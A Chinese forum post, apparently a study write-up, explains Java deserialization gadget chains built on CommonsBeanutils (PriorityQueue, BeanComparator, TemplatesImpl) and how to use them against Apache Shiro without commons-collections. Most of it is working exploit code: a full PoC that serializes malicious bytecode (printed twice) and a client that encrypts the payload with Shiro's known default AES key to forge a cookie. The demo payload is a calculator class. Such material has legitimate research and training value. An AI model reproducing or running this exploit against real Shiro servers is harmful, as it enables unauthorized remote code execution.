09CommonsBeanutils与无 commons-collections的Shiro反序列化利用

打印 上一主题 下一主题

主题 989|帖子 989|积分 2967

CommonsBeanutils1

依赖CommonsCollections


  • java.util.PriorityQueue#readObject调用org.apache.commons.beanutils.BeanComparator#compare
  • org.apache.commons.beanutils.BeanComparator#compare通过 PropertyUtils.getProperty调用队列中两个比较对象的getter获取属性
  • TemplatesImpl#getOutputProperties()可以执行任意代码
  1. import java.io.*;
  2. import java.lang.reflect.Field;
  3. import java.nio.file.Files;
  4. import java.nio.file.Paths;
  5. import java.util.Base64;
  6. import java.util.PriorityQueue;
  7. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  8. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  9. import org.apache.commons.beanutils.BeanComparator;
  10. public class CommonsBeanutils1 {
  11.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  12.         Field field = obj.getClass().getDeclaredField(fieldName);
  13.         field.setAccessible(true);
  14.         field.set(obj, value);
  15.     }
  16.     public static String classFileToBase64(String filepath) throws IOException {
  17.         String classFilePath = filepath;
  18.         String base64String;
  19.         // 读取 class 文件的字节数组
  20.         byte[] classBytes = Files.readAllBytes(Paths.get(classFilePath));
  21.         // 将字节数组转换为 Base64 编码字符串
  22.         base64String= Base64.getEncoder().encodeToString(classBytes);
  23.         return base64String;
  24.     }
  25.     public static void main(String[] args) throws Exception {
  26.         String base64Code = classFileToBase64("C:\\Users\\tlj\\Desktop\\tmp\\java8u66\\CalcExample.class");
  27.         byte[] code =
  28.                 Base64.getDecoder().decode(base64Code);
  29.         TemplatesImpl obj = new TemplatesImpl();
  30.         setFieldValue(obj, "_bytecodes", new byte[][]{
  31.                 code
  32.         });
  33.         setFieldValue(obj, "_name", "CalcExample");
  34.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  35.         final BeanComparator comparator = new BeanComparator();
  36.         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
  37.                 comparator);
  38. // stub data for replacement later
  39.         queue.add(1);
  40.         queue.add(1);
  41.         setFieldValue(comparator, "property", "outputProperties");
  42.         setFieldValue(queue, "queue", new Object[]{obj, obj});
  43.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  44.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  45.         oos.writeObject(queue);
  46.         oos.close();
  47.         System.out.println(barr);
  48.         ObjectInputStream ois = new ObjectInputStream(new
  49.                 ByteArrayInputStream(barr.toByteArray()));
  50.         Object o = (Object)ois.readObject();
  51.     }
  52. }
复制代码
特别指出,在这条利用链中,没有用到CC库中的类,但是注意到BeanComparator的构造函数:
  1. public BeanComparator() {
  2.     this( null );
  3. }
  4. public BeanComparator( String property ) {
  5.     this( property, ComparableComparator.getInstance() );
  6. }
  7. public BeanComparator( String property, Comparator<?> comparator ) {
  8.     setProperty( property );
  9.     if (comparator != null) {
  10.         this.comparator = comparator;
  11.     } else {
  12.         this.comparator = ComparableComparator.getInstance();
  13.     }
  14. }
复制代码
在初始化时,没有指定一个Comparator,则BeanComparator会生成一个默认的Comparator——org.apache.commons.collections.comparators.ComparableComparator
以是上述反序列化链是依赖于commons-collections的,以是我们除了要添加CB的依赖,还需要添加CC的依赖。
  1. <dependency>
  2.             <groupId>commons-beanutils</groupId>
  3.             <artifactId>commons-beanutils</artifactId>
  4.             <version>1.9.2</version>
  5.         </dependency>
  6. <dependency>
  7.             <groupId>commons-collections</groupId>
  8.             <artifactId>commons-collections</artifactId>
  9.             <version>3.1</version>
  10.         </dependency>
复制代码
不依赖CommonsCollections

根据上面所说,只要给BeanComparator指定一个commons-beanutils中或者JRE中的存在的Comparator即可不依赖其他库,这里举两个例子,java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator:
  1. // setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
  2. // setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
复制代码
二次反序列化

CB在Shiro环境下的利用

依赖的题目

在shiro环境下,必有的依赖包是shiro-core、shiro-web、 commons-logging,也就是说不一定会存在commons-beanutils库和commonscollections库。
对于第一个题目,实在可以发现shiro是依赖于commons-beanutils的。
对于第二个题目,前文已经解答过。
serialVersionUID不一致的题目

将生成poc的commons-beanutils库版本修改为与shiro一致的1.8.3
利用poc
  1. import java.io.*;
  2. import java.lang.reflect.Field;
  3. import java.nio.file.Files;
  4. import java.nio.file.Paths;
  5. import java.util.Base64;
  6. import java.util.PriorityQueue;
  7. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  8. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  9. import org.apache.commons.beanutils.BeanComparator;
  10. public class CommonsBeanutils1 {
  11.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  12.         Field field = obj.getClass().getDeclaredField(fieldName);
  13.         field.setAccessible(true);
  14.         field.set(obj, value);
  15.     }
  16.     public static String classFileToBase64(String filepath) throws IOException {
  17.         String classFilePath = filepath;
  18.         String base64String;
  19.         // 读取 class 文件的字节数组
  20.         byte[] classBytes = Files.readAllBytes(Paths.get(classFilePath));
  21.         // 将字节数组转换为 Base64 编码字符串
  22.         base64String= Base64.getEncoder().encodeToString(classBytes);
  23.         return base64String;
  24.     }
  25.     public static void main(String[] args) throws Exception {
  26.         String base64Code = classFileToBase64("C:\\Users\\tlj\\Desktop\\tmp\\java8u66\\CalcExample.class");
  27.         byte[] code =
  28.                 Base64.getDecoder().decode(base64Code);
  29.         TemplatesImpl obj = new TemplatesImpl();
  30.         setFieldValue(obj, "_bytecodes", new byte[][]{
  31.                 code
  32.         });
  33.         setFieldValue(obj, "_name", "CalcExample");
  34.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  35.         final BeanComparator comparator = new BeanComparator();
  36.         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
  37.                 comparator);
  38. // stub data for replacement later
  39.         queue.add(1);
  40.         queue.add(1);
  41.         setFieldValue(comparator, "property", "outputProperties");
  42.         setFieldValue(queue, "queue", new Object[]{obj, obj});
  43.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  44.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  45.         oos.writeObject(queue);
  46.         oos.close();
  47.         System.out.println(barr);
  48.         ObjectInputStream ois = new ObjectInputStream(new
  49.                 ByteArrayInputStream(barr.toByteArray()));
  50.         Object o = (Object)ois.readObject();
  51.     }
  52. }
复制代码
  1. public class Client0 {
  2.     public static void main(String[] args) throws Exception {
  3.         Object objcc6 = new ShiroCB1().getObject();
  4.         byte[] objcc6byte = SerializationUtils.serialize(objcc6);
  5.         AesCipherService aes = new AesCipherService();
  6.         byte[] key =
  7.                 java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  8.         ByteSource ciphertext = aes.encrypt(objcc6byte, key);
  9.         System.out.printf(ciphertext.toString());
  10.     }
  11. }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

慢吞云雾缓吐愁

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表